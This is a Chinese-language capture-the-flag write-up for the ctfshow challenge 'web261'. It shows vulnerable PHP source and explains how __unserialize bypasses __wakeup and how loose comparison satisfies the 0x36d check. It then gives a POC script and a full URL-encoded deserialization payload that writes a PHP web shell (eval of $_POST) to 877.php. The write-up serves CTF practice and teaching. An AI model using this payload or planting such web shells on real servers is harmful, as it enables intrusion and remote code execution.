web261

源码

 <?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

这题的思路是

__destruct() ==> file_put_contents() 上传木马

但是这题有一个 __unserialize($data)

这个函数会让 __wakeup() 函数被忽略,并且会传递序列化字符串本身

既然 __wakeup() 不用绕过,那肯定是好事,但是我们仍然要考虑 __unserialize() 产生的影响,他会把 $this→code 改变,但好在 在php中有这样的特性:字符串可以直接转换成数字,如果字符串的前几位是数字,则转换后的数字等于这几位,如果字符串前几位不是有效数字,则转化为 数字0

那么构造POC

<?php



class ctfshowvip{

    public $username = "877.php";

    public $password = '<?php phpinfo();eval($_POST[passwd]);?>';

    public $code = 0x36d;



}



echo(urlencode(serialize( new ctfshowvip())));

payload

http://2b951947-1765-4aa2-8b66-6c4b8fc8c513.challenge.ctf.show/?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A39%3A%22%3C%3Fphp+phpinfo%28%29%3Beval%28%24_POST%5Bpasswd%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bi%3A877%3B%7D